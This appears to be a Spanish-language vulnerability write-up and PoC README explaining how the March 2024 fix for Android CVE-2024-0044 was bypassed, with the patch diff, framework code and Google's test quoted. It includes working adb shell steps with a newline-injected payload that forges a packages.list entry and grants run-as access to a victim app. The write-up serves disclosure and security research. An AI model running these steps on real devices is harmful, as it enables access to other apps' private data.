
Prueba de concepto y análisis técnico para evadir el parche inicial de CVE-2024-0044, una vulnerabilidad del framework de Android que permite la escalada de privilegios desde ADB hasta el UID de una aplicación arbitraria mediante la inyección del nombre del paquete del instalador.
CVE-2024-0044/A-307532206 es una vulnerabilidad de gravedad alta en el framework de Android que permite a atacantes con acceso adb ejecutar código arbitrario bajo el UID de cualquier aplicación. Fue encontrada originalmente por Tom Hebb de Meta Red Team X. Puedes encontrar muchos artículos sobre cómo explotar esta vulnerabilidad en Internet, como este y este. Para más información, revisa este blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
El parche para esta vulnerabilidad se incluyó en el Boletín de Seguridad de Android de marzo de 2024, pero ahora he creado un exploit que lo evita. El nuevo parche se incluyó en el Boletín de Seguridad de Android de octubre de 2024 bajo el mismo CVE ID CVE-2024-0044. Los dispositivos Android 12-13 con nivel de parche de seguridad anterior al 2024-10-01 son vulnerables a este problema.
Este repositorio contiene un PoC mínimo reproducible y un informe técnico.
El parche agregó una validación para el nombre del paquete instalador pasado a PackageManagerService:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Puedes ver que params.installerPackageName se restablecerá a null si no es un nombre de paquete Android válido. Sin embargo, en la siguiente línea, requestedInstallerPackageName puede ser installerPackageName cuando params.installerPackageName es null o inválido.
¿Qué es installerPackageName?
Echemos un vistazo al método createSessionInternal, donde se agregó el parche:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Puedes ver que installerPackageName es un argumento separado que no proviene de param. El parche original validó params.installerPackageName, pero olvidó validar installerPackageName.
Puedes usar simplemente el código de exploit original del blog de Tom Hebb para reproducirlo. Este repositorio también contiene un PoC mínimo reproducible. Si quieres probar mi PoC, constrúyelo, sube el apk generado a /data/local/tmp/poc.apk, luego ejecuta el siguiente código con adb shell:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
reemplaza <victim uid> con el UID de la aplicación víctima.
Si quieres volver a jugar, ejecuta adb uninstall top.canyie.cve_2024_0044 y vuelve a ejecutar el código anterior.
El problema parece obvio, ¿cómo logró escapar a la vista de todos?
Bueno, Google sí agregó una prueba para este problema y asegurarse de que estuviera corregido:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
La prueba utiliza la API pública estándar de PackageInstaller que no permite personalizar installerPackageName. En la API pública, installerPackageName siempre se establece al nombre real del paquete del Context proporcionado:
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
Cuando el llamante es una aplicación de terceros, se garantiza que installerPackageName pertenece a ese llamante; cuando el llamante es adb, siempre se restablecerá a null, por lo que esto parece correcto:
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
Sin embargo, la operación ocurre después de que requestedInstallerPackageName se establece en installerPackageName, por lo que se mantiene el valor original.
Pero si ejecutan el PoC original proporcionado por Tom Hebb en lugar de escribir el suyo propio, pueden detectar el problema, ya que el comando pm llama al método subyacente createSession con un installerPackageName personalizado.
Una pregunta más: ¿por qué nadie más detectó el problema mientras el PoC es de acceso público?
Bueno, esta vulnerabilidad ha sido analizada, reproducida y explotada por muchas personas en Internet, y hay un artículo escrito por Qidan He (flanker) de JD Dawn Security Lab (un artículo muy interesante sobre CVE-2024-31317, por cierto) que dice "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 ha sido ampliamente analizada y explotada públicamente en la comunidad técnica porque es simple y directa"), sin embargo, nadie lo notó, como si todos estuvieran bajo un hechizo.
De hecho, alguien reprodujo con éxito el exploit en compilaciones parcheadas, pero el autor no parece darse cuenta de lo que sucedió. Yo lo encontré mediante una revisión de código y lo reporté el 16 de mayo de 2024, 2 meses después de que se publicara el parche original. Si alguien antes que yo hubiera tomado unos segundos adicionales para mirar cuidadosamente el parche, o simplemente hubiera intentado ejecutar el PoC en compilaciones parcheadas para ver si el problema estaba realmente corregido, el bug bounty habría sido suyo. Esto suena como una letra china, “再多看一眼就会爆炸”("Una mirada más y explotará").